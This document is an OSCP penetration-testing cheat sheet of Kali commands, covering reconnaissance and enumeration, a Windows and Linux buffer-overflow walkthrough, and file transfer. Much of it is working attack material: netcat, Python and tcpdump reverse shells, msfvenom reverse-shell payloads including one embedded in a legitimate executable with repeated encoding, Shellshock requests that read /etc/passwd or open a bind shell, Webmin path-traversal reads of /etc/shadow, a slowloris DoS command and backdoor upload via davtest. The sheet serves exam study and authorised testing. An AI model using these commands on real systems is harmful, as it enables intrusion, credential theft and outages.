OSCP

Kali Linux

- Set the Target IP Address to the `$ip` system variable `export ip=192.168.1.100`
- Find the location of a file `locate sbd.exe`
- Search through directories in the `$PATH` environment variable `which sbd`
- Find a search for a file that contains a specific string in it's name: `find / -name sbd\*`
- Show active internet connections `netstat -lntp`
- Change Password `passwd`
- Verify a service is running and listening `netstat -antp |grep apache`
- Start a service `systemctl start ssh`
  `systemctl start apache2`
- Have a service start at boot `systemctl enable ssh`
- Stop a service `systemctl stop ssh`
- Unzip a gz file `gunzip access.log.gz`
- Unzip a tar.gz file `tar -xzvf file.tar.gz`
- Search command history `history | grep phrase_to_search_for`
- Download a webpage `wget http://www.cisco.com`
- Open a webpage `curl http://www.cisco.com`
- String manipulation
  - Count number of lines in file `wc -l index.html`
  - Get the start or end of a file `head index.html`
    `tail index.html`
  - Extract all the lines that contain a string `grep "href=" index.html`
  - Cut a string by a delimiter, filter results then sort `grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u`
  - Using Grep and regular expressions and output to a file `cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt`
  - Use a bash loop to find the IP address behind each host `for url in $(cat list.txt); do host $url; done`
  - Collect all the IP Addresses from a log file and sort by frequency `cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn`
- Decoding using Kali
  - Decode Base64 Encoded Values
    `echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode`
  - Decode Hexidecimal Encoded Values `echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps`
- Netcat - Read and write TCP and UDP Packets
  - Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems): https://joncraton.org/blog/46/netcat-for-windows/
  - Connect to a POP3 mail server `nc -nv $ip 110`
  - Listen on TCP/UDP port `nc -nlvp 4444`

- Connect to a netcat port `nc -nv $ip 4444`
- Send a file using netcat `nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe`
- Receive a file using netcat `nc -nlvp 4444 > incoming.exe`
- Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

  ```
  whereis nc
  nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
  ```

  `/bin/nc.traditional -e /bin/bash 1.2.3.4 4444`
- Create a reverse shell with Ncat using cmd.exe on Windows `nc.exe -nlvp 4444 -e cmd.exe`

  or

  `nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe`
- Create a reverse shell with Ncat using bash on Linux `nc -nv $ip 4444 -e /bin/bash`
- Netcat for Banner Grabbing:

  `echo "" | nc -nv -w1 <IP Address> <Ports>`

* Ncat - Netcat for Nmap project which provides more security avoid IDS
  - Reverse shell from windows using cmd.exe using ssl `ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl`
  - Listen on port 4444 using ssl `ncat -v $ip 4444 --ssl`
* Wireshark
  - Show only SMTP (port 25) and ICMP traffic:

    `tcp.port eq 25 or icmp`
  - Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:

    `ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16`
  - Filter by a protocol (e.g. SIP) and filter out unwanted IPs:

    `ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip`
  - Some commands are equal

    `ip.addr == xxx.xxx.xxx.xxx`

    Equals

    `ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx`

    `ip.addr != xxx.xxx.xxx.xxx`

    Equals

    `ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx`
* Tcpdump
  - Display a pcap file `tcpdump -r passwordz.pcap`
  - Display ips and filter and sort `tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head`
  - Grab a packet capture on port 80 `tcpdump tcp port 80 -w output.pcap -i eth0`
  - Check for ACK or PSH flag set in a TCP packet `tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap`
* IPTables
  - Deny traffic to ports except for Local Loopback

    `iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP`

    `iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP`
  - Clear ALL IPTables firewall rules

    ~~~
    ```bash
    iptables -P INPUT ACCEPT
    iptables -P FORWARD ACCEPT
    iptables -P OUTPUT ACCEPT
    iptables -t nat -F
    ~~~

```
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X
```

Information Gathering & Vulnerability Scanning

- Google Hacking
  - Google search to find website sub domains `site:microsoft.com`
  - Google filetype, and intitle `intitle:"netbotz appliance" "OK" -filetype:pdf`
  - Google inurl `inurl:"level/15/sexec/-/show"`
  - Google Hacking Database:https://www.exploit-db.com/google-hacking-database/
- SSL Certificate Testinghttps://www.ssllabs.com/ssltest/analyze.html
- Email Harvesting
  - Simply Email `git clone https://github.com/killswitch-GUI/SimplyEmail.git`
    `./SimplyEmail.py -all -e TARGET-DOMAIN`
- Netcraft
  - Determine the operating system and tools used to build a sitehttps://searchdns.netcraft.com/
- Whois Enumeration `whois domain-name-here.com`
  `whois $ip`
- Banner Grabbing
  - `nc -v $ip 25`
  - `telnet $ip 25`
  - `nc TARGET-IP 80`
- Recon-ng - full-featured web reconnaissance framework written in Python
  - `cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git`
    `cd /opt/recon-ng`
    `./recon-ng`
    `show modules`
    `help`

Subnet Reference Table

/	Addresses	Hosts	Netmask	Amount of a Class C
/30	4	2	255.255.255.252	1/64
/29	8	6	255.255.255.248	1/32
/28	16	14	255.255.255.240	1/16
/27	32	30	255.255.255.224	1/8
/26	64	62	255.255.255.192	1/4
/25	128	126	255.255.255.128	1/2
/24	256	254	255.255.255.0	1
/23	512	510	255.255.254.0	2
/22	1024	1022	255.255.252.0	4
/21	2048	2046	255.255.248.0	8
/20	4096	4094	255.255.240.0	16

/19	8192	8190	255.255.224.0	32
/18	16384	16382	255.255.192.0	64
/17	32768	32766	255.255.128.0	128
/16	65536	65534	255.255.0.0	256

- Set the ip address as a variable `export ip=192.168.1.100` `nmap -A -T4 -p- $ip`
- Netcat port Scanning `nc -nvv -w 1 -z $ip 3388-3390`
- Discover active IPs usign ARP on the network: `arp-scan $ip/24`
- Discover who else is on the network `netdiscover`
- Discover IP Mac and Mac vendors from ARP `netdiscover -r $ip/24`
- Nmap stealth scan using SYN `nmap -sS $ip`
- Nmap stealth scan using FIN `nmap -sF $ip`
- Nmap Banner Grabbing `nmap -sV -sT $ip`
- Nmap OS Fingerprinting `nmap -O $ip`
- Nmap Regular Scan: `nmap $ip/24`
- Enumeration Scan `nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt`
- Enumeration Scan All Ports TCP / UDP and output to a txt file `nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip`
- Nmap output to a file: `nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24`
- Quick Scan: `nmap -T4 -F $ip/24`
- Quick Scan Plus: `nmap -sV -T4 -O -F --version-light $ip/24`
- Quick traceroute `nmap -sn --traceroute $ip`
- All TCP and UDP Ports `nmap -v -sU -sS -p- -A -T4 $ip`
- Intense Scan: `nmap -T4 -A -v $ip`
- Intense Scan Plus UDP `nmap -sS -sU -T4 -A -v $ip/24`
- Intense Scan ALL TCP Ports `nmap -p 1-65535 -T4 -A -v $ip/24`
- Intense Scan - No Ping `nmap -T4 -A -v -Pn $ip/24`
- Ping scan `nmap -sn $ip/24`
- Slow Comprehensive Scan `nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24`
- Scan with Active connect in order to weed out any spoofed ports designed to troll you `nmap -p1-65535 -A -T5 -sT $ip`

- DNS Enumeration
  - NMAP DNS Hostnames Lookup `nmap -F --dns-server <dns server ip> <target ip range>`
  - Host Lookup `host -t ns megacorpone.com`
  - Reverse Lookup Brute Force - find domains in the same range `for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"`
  - Perform DNS IP Lookup `dig a domain-name-here.com @nameserver`
  - Perform MX Record Lookup `dig mx domain-name-here.com @nameserver`
  - Perform Zone Transfer with DIG `dig axfr domain-name-here.com @nameserver`
  - DNS Zone TransfersWindows DNS zone transfer

    `nslookup -> set type=any -> ls -d blah.com`

Linux DNS zone transfer

`dig axfr blah.com @ns1.blah.com`

- Dnsrecon DNS Brute Force `dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml`
- Dnsrecon DNS List of megacorp `dnsrecon -d megacorpone.com -t axfr`
- DNSEnum `dnsenum zonetransfer.me`

- NMap Enumeration Script List:
  - NMap Discovery*https://nmap.org/nsedoc/categories/discovery.html*
  - Nmap port version detection MAXIMUM power `nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>`
- NFS (Network File System) Enumeration
  - Show Mountable NFS Shares `nmap -sV --script=nfs-showmount $ip`
- RPC (Remote Procedure Call) Enumeration
  - Connect to an RPC share without a username and password and enumerate privledges `rpcclient --user="" --command=enumprivs -N $ip`
  - Connect to an RPC share with a username and enumerate privledges `rpcclient --user="<Username>" --command=enumprivs $ip`
- SMB Enumeration
  - SMB OS Discovery `nmap $ip --script smb-os-discovery.nse`
  - Nmap port scan `nmap -v -p 139,445 -oG smb.txt $ip-254`
  - Netbios Information Scanning `nbtscan -r $ip/24`
  - Nmap find exposed Netbios servers `nmap -sU --script nbstat.nse -p 137 $ip`
  - Nmap all SMB scripts scan

    `nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip`
  - Nmap all SMB scripts authenticated scan

    `nmap -sV -Pn -vv -p 445  --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip`
  - SMB Enumeration Tools `nmblookup -A $ip`

    `smbclient //MOUNT/share -I $ip -N`

    `rpcclient -U "" $ip`

    `enum4linux $ip`

    `enum4linux -a $ip`
  - SMB Finger Printing `smbclient -L //$ip`
  - Nmap Scan for Open SMB Shares `nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24`
  - Nmap scans for vulnerable SMB Servers `nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip`
  - Nmap List all SMB scripts installed `ls -l /usr/share/nmap/scripts/smb*`
  - Enumerate SMB Users

    `nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14`

    OR

    `python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip`
  - RID Cycling - Null Sessions `ridenum.py $ip 500 50000 dict.txt`
  - Manual Null Session Testing

    Windows: `net use \\$ip\IPC$ "" /u:""`

Linux: `smbclient -L //$ip`

- SMTP Enumeration - Mail Severs
  - Verify SMTP port using Netcat `nc -nv $ip 25`
- POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet

```
 root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER billydean
+OK
PASS password
+OK Welcome billydean

list

+OK 2 1807
1 786
2 1021

retr 1

+OK Message follows
From: jamesbrown@motown.com
Dear Billy Dean,

Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```

- SNMP Enumeration -Simple Network Management Protocol
  - Fix SNMP output values so they are human readable `apt-get install snmp-mibs-downloader download-mibs` `echo "" > /etc/snmp/snmp.conf`
  - SNMP Enumeration Commands
    - `snmpcheck -t $ip -c public`
    - `snmpwalk -c public -v1 $ip 1|`
    - `grep hrSWRunName|cut -d\* \* -f`
    - `snmpenum -t $ip`
    - `onesixtyone -c names -i hosts`
  - SNMPv3 Enumeration `nmap -sV -p 161 --script=snmp-info $ip/24`
  - Automate the username enumeration process for SNMPv3: `apt-get install snmp snmp-mibs-downloader` `wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb`
  - SNMP Default Credentials/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
- MS SQL Server Enumeration
  - Nmap Information Gathering

    ```
     nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes  --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip
    ```
- Webmin and miniserv/0.01 Enumeration - Port 10000

  Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

  ```
  `curl
  http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/.
  ```

  Test to see if webmin is running as root by grabbing /etc/shadow

  ```
  `curl
  http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/.
  ```
- Linux OS Enumeration
  - List all SUID files `find / -perm -4000 2>/dev/null`

  - Determine the current version of Linux `cat /etc/issue`
  - Determine more information about the environment `uname -a`
  - List processes running `ps -xaf`
  - List the allowed (and forbidden) commands for the invoking use `sudo -l`
  - List iptables rules `iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security`
- Windows OS Enumeration
  - net config Workstation
  - systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  - hostname
  - net users
  - ipconfig /all
  - route print
  - arp -A
  - netstat -ano
  - netsh firewall show state
  - netsh firewall show config
  - schtasks /query /fo LIST /v
  - tasklist /SVC
  - net start
  - DRIVERQUERY
  - reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  - reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  - dir /s *pass* == *cred* == *vnc* == *.config*
  - findstr /si password *.xml *.ini *.txt
  - reg query HKLM /f password /t REG_SZ /s
  - reg query HKCU /f password /t REG_SZ /s
- Vulnerability Scanning with Nmap
- Nmap Exploit Scripts*https://nmap.org/nsedoc/categories/exploit.html*
- Nmap search through vulnerability scripts `cd /usr/share/nmap/scripts/ ls -l \*vuln\*`
- Nmap search through Nmap Scripts for a specific keyword `ls /usr/share/nmap/scripts/\* | grep ftp`
- Scan for vulnerable exploits with nmap `nmap --script exploit -Pn $ip`
- NMap Auth Scripts*https://nmap.org/nsedoc/categories/auth.html*
- Nmap Vuln Scanning*https://nmap.org/nsedoc/categories/vuln.html*
- NMap DOS Scanning `nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true`
- Scan for coldfusion web vulnerabilities `nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip`
- Anonymous FTP dump with Nmap `nmap -v -p 21 --script=ftp-anon.nse $ip-254`
- SMB Security mode scan with Nmap `nmap -v -p 21 --script=ftp-anon.nse $ip-254`

- File Enumeration
  - Find UID 0 files root execution
  - `/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null`
  - Get handy linux file system enumeration script (/var/tmp) `wget https://highon.coffee/downloads/linux-local-enum.sh` `chmod +x ./linux-local-enum.sh` `./linux-local-enum.sh`
  - Find executable files updated in August `find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug`
  - Find a specific file on linux `find /. -name suid\*`
  - Find all the strings in a file `strings <filename>`
  - Determine the type of a file `file <filename>`
- HTTP Enumeration
  - Search for folders with gobuster: `gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip`
  - OWasp DirBuster - Http folder enumeration - can take a dictionary file
  - Dirb - Directory brute force finding using a dictionary file `dirb http://$ip/ wordlist.dict` `dirb <http://vm/>`

    Dirb against a proxy
  - `dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129`
  - Nikto `nikto -h $ip`
  - HTTP Enumeration with NMAP `nmap --script=http-enum -p80 -n $ip/24`
  - Nmap Check the server methods `nmap --script http-methods --script-args http-methods.url-path='/test' $ip`
  - Get Options available from web server `curl -vX OPTIONS vm/test`
  - Uniscan directory finder: `uniscan -qweds -u <http://vm/>`
  - Wfuzz - The web brute forcer

    `wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test`

    `wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ`

    `wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"`

    `wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ`

    Recurse level 3

    `wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ`
- Open a service using a port knock (Secured with Knockd)for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done
- WordPress Scan - Wordpress security scanner
  - wpscan --url $ip/blog --proxy $ip:3129
- RSH Enumeration - Unencrypted file transfer system
  - auxiliary/scanner/rservices/rsh_login
- Finger Enumeration
  - finger @$ip
  - finger batman@$ip
- TLS & SSL Testing
  - ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
- Proxy Enumeration (useful for open proxies)
  - nikto -useproxy http://$ip:3128 -h $ip

- Steganography

> apt-get install steghide
>
> steghide extract -sf picture.jpg
>
> steghide info picture.jpg
>
> apt-get install stegosuite

- The OpenVAS Vulnerability Scanner
  - apt-get updateapt-get install openvasopenvas-setup
  - netstat -tulpn
  - Login at:https://$ip:9392

Buffer Overflows and Exploits

- DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
- Nmap Fuzzers:
  - NMap Fuzzer Listhttps://nmap.org/nsedoc/categories/fuzzer.html
  - NMap HTTP Form Fuzzernmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip
  - Nmap DNS Fuzzernmap --script dns-fuzz --script-args timelimit=2h $ip -d
- MSFvenom*https://www.offensive-security.com/metasploit-unleashed/msfvenom/*
- Windows Buffer Overflows
  - Controlling EIP

    ```
     locate pattern_create
    pattern_create.rb -l 2700
     locate pattern_offset
    pattern_offset.rb -q 39694438
    ```
  - Verify exact location of EIP - [*] Exact match at offset 2606

    ```
    buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90
    ```
  - Check for “Bad Characters” - Run multiple times 0x00 - 0xFF
  - Use Mona to determine a module that is unprotected
  - Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP
  - Use NASM to determine the HEX code for a JMP ESP instruction

    ```
    /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
    ```

    ```
    JMP ESP
    00000000 FFE4 jmp esp
    ```
  - Run Mona in immunity log window to find (FFE4) XEF command

    ```
     !mona find -s "\xff\xe4" -m slmfc.dll
    found at 0x5f4a358f - Flip around for little endian format
    buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
    ```
  - MSFVenom to create payload

    ```
    msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
    ```
  - Final Payload with NOP slide

    ```
    buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
    ```
  - Create a PE Reverse Shellmsfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -fexe -o shell_reverse.exe

- Create a PE Reverse Shell and Encode 9 times with Shikata_ga_naimsfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -fexe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
- Create a PE reverse shell and embed it into an existing executablemsfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
- Create a PE Reverse HTTPS shellmsfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe

- Linux Buffer Overflows
  - Run Evans Debugger against an appedb --run /usr/games/crossfire/bin/crossfire
  - ESP register points toward the end of our CBufferadd eax,12jmp eax83C00C add eax,byte +0xcFFE0 jmp eax
  - Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF
  - Find JMP ESP address"\x97\x45\x13\x08" # Found at Address 08134597
  - crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
  - msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai
  - Connect to the shell with netcat:nc -v $ip 4444

Shells

- Netcat Shell Listener

  `nc -nlvp 4444`

- Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user.

  `(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )`

  `(hint: sudo -l to see what you can run)`

  - You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:

    ```
     ssh user@$ip nc $localip 4444 -e /bin/sh
    enter user's password
    python -c 'import pty; pty.spawn("/bin/sh")'
    export TERM=linux
    ```

  `python -c 'import pty; pty.spawn("/bin/sh")'`

  ```
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);
  s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'
  ```

  `echo os.system('/bin/bash')`

  `/bin/sh -i`

  `perl —e 'exec "/bin/sh";'`

  perl: `exec "/bin/sh";`

  ruby: `exec "/bin/sh"`

  lua: `os.execute('/bin/sh')`

  From within IRB: `exec "/bin/sh"`

  From within vi: `:!bash` or

  `:set shell=/bin/bash:shell`

  From within vim `':!bash':`

  From within nmap: `!sh`

  From within tcpdump

  ```
   echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z
  /tmp/.tst –Z root
  ```

From busybox `/bin/busybox telnetd -|/bin/sh -p9999`

- Pen test monkey PHP reverse shellhttp://pentestmonkey.net/tools/web-shells/php-reverse-shel
- php-findsock-shell - turns PHP port 80 into an interactive shellhttp://pentestmonkey.net/tools/web-shells/php-findsock-shell
- Perl Reverse Shellhttp://pentestmonkey.net/tools/web-shells/perl-reverse-shell
- PHP powered web browser Shell b374k with file upload etc.https://github.com/b374k/b374k
- Windows reverse shell - PowerSploit's Invoke-Shellcode script and inject a Meterpreter shell https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
- Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
- Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/

Linux

`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`

Windows

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`

Mac

`msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho`

Web Payloads

PHP

`msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`

OR

`msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`

Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:

`cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php`

ASP

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp`

JSP

`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp`

WAR

`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war`

Scripting Payloads

Python

`msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py`

Bash

`msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`

Perl

`msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl`

Shellcode

For all shellcode see 'msfvenom –help-formats' for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

Windows Based Shellcode

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

Mac Based Shellcode

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
```

Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

```
 use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
```

Once the required values are completed the following command will execute your handler – 'msfconsole -L -r '

- SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/

```
 use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter
```

- SBD.exe

  sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.

- Shellshock
  - Testing for shell shock with NMap

```
root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip
```

  - git clone https://github.com/nccgroup/shocker

```
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
```

  - Shell Shock SSH Forced CommandCheck for forced command by enabling all debug output with ssh

```
  ssh -vvv
 ssh -i noob noob@$ip '() { :;}; /bin/bash'
```

  - cat file (view file contents)

```
  echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection:
close\\r\\n\\r\\n" | nc TARGET 80
```

  - Shell Shock run bind shell

```
 echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e
/bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
```

File Transfers

- Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
- Simple Local Web Servers
  - Run a basic http server, great for serving up shells etcpython -m SimpleHTTPServer 80
  - Run a basic Python3 http server, great for serving up shells etcpython3 -m http.server
  - Run a ruby webrick basic http serverruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
  - Run a basic PHP http serverphp -S $ip:80
- Creating a wget VB Script on Windows:*https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt*
- Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):

```
 echo Set args = Wscript.Arguments  >> webdl.vbs
timeout 1
echo Url = "http://1.1.1.1/windows-privesc-check2.exe"  >> webdl.vbs
timeout 1
```

```
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
timeout 1
echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
timeout 1
echo xHttp.Open "GET", Url, False  >> webdl.vbs
timeout 1
echo xHttp.Send  >> webdl.vbs
timeout 1
echo with bStrm      >> webdl.vbs
timeout 1
echo    .type = 1 '      >> webdl.vbs
timeout 1
echo    .open      >> webdl.vbs
timeout 1
echo    .write xHttp.responseBody      >> webdl.vbs
timeout 1
echo    .savetofile "C:\temp\windows-privesc-check2.exe", 2 '  >> webdl.vbs
timeout 1
echo end with >> webdl.vbs
timeout 1
echo
```

The file can be run using the following syntax:

`C:\temp\cscript.exe webdl.vbs`

- Mounting File Shares
  - Mount NFS share to /mnt/nfsmount $ip:/vol/share /mnt/nfs
- HTTP Putnmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php
- Uploading Files
  - SCP

    scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2

    scp localfile username@$ip:~/Folder/

    scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~
  - Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor

    `davtest -move -sendbd auto -url http://$ip`

    https://github.com/cldrn/davtest

    You can also upload a file using the PUT method with the curl command:

